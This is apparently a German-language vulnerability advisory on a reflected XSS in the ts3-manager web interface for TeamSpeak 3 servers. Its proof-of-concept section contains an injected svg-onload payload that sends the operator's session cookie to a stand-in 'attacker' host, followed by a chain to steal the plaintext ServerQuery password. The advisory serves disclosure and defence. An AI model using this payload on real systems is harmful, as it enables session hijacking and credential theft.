ts3-manager: Reflected XSS in /api/download stiehlt Operator-Sitzung

Der ungefiltert als HTML reflektierte port-Parameter von /api/download lässt JavaScript im Origin eines angemeldeten Operators ausführen; ein Klick auf einen präparierten Link stiehlt das Token-Cookie und das im Klartext gespeicherte ServerQuery-Passwort.

Advisory-ID: TP-2026-016
Produkt: ts3-manager (webbasierte Verwaltungsoberfläche für TeamSpeak-3-Server)
Schwachstellentyp: Reflected Cross-Site-Scripting (CWE-79)
CVE: CVE-2026-54253
CVSS 3.1: 8.2 (Hoch) · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
Betroffene Versionen: < 2.2.6
Behoben in: 2.2.6
Hersteller-Advisory: GHSA-3cgm-7p4g-gffj
Gemeldet: 1. Juni 2026

Zusammenfassung

ts3-manager ist eine webbasierte Verwaltungsoberfläche für TeamSpeak-3-Server. Der Endpunkt /api/download reflektiert den Query-Parameter port ungefiltert in eine Fehlermeldung, die mit Content-Type: text/html ausgeliefert wird; CSP- und nosniff-Header fehlen. Klickt ein angemeldeter Operator einen präparierten Link an, wird das eingeschleuste Markup im Origin des Managers ausgeführt. Da der Sitzungs-Token in einem Cookie ohne HttpOnly liegt, kann das Skript ihn auslesen und an den Angreifer senden; über das Socket.io-Ereignis autofillform lässt sich anschließend das im Klartext hinterlegte ServerQuery-Passwort (serveradmin) abrufen. Im Ergebnis führt ein einzelner Klick zur Übernahme der Operator-Sitzung und, bei Administratorrechten, des gesamten TeamSpeak-Servers. turingpoint hat den Ablauf verifiziert und verantwortungsvoll an den Hersteller gemeldet.

Ursache

In packages/server/routes/api.js werden die Query-Parameter von /api/download nicht validiert, und der port-Wert fließt unverändert in die Fehlerbehandlung. Die Fehlermeldung (connect ENOENT <port>) wird ohne Ausgabe-Kodierung als text/html zurückgegeben, sodass HTML- und Skript-Markup im Browser ausgeführt wird. Verstärkt wird dies durch fehlende Schutz-Header (keine Content-Security-Policy, kein X-Content-Type-Options, kein X-Frame-Options). Der Sitzungs-Token wird in einem Cookie ohne HttpOnly, Secure und SameSite gespeichert (packages/ui/src/store/modules/query.js) und ist damit für das eingeschleuste Skript lesbar. Schließlich gibt das Socket.io-Ereignis autofillform (packages/server/socket.js) den vollständigen dekodierten JWT samt Klartext-Passwort zurück, wodurch sich die ServerQuery-Zugangsdaten wiederherstellen lassen.

Proof of Concept

Voraussetzung ist ein angemeldeter Operator, der einen vom Angreifer präparierten Link öffnet:

# Praeparierter Link, den ein angemeldeter Operator anklickt; der port-Wert
# wird ungefiltert in eine text/html-Fehlermeldung reflektiert:
GET /api/download?port=%3Csvg/onload=fetch('http://attacker/?c='%2Bdocument.cookie)%3E&size=1&name=x HTTP/1.1
Host: <manager>
Cookie: token=<victim-jwt>

# Antwort:
HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=utf-8

connect ENOENT <svg/onload=fetch('http://attacker/?c='+document.cookie)>

Das reflektierte <svg onload=...> wird im Origin des Managers ausgeführt, exfiltriert das token-Cookie und stößt über autofillform den Diebstahl der ServerQuery-Zugangsdaten an.

Auswirkung

  • Übernahme der Sitzung eines angemeldeten Operators durch einen einzigen Klick auf einen präparierten Link.
  • Offenlegung des im Klartext gespeicherten ServerQuery-Passworts über das autofillform-Ereignis.
  • Vollständige Kontrolle über den TeamSpeak-Server, sofern der Operator Administratorrechte besitzt.
  • Dauerhafter Zugriff über neu erzeugte Server-Admin-Schlüssel.

Referenzen

Steckt so etwas in Ihrer Software?

Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.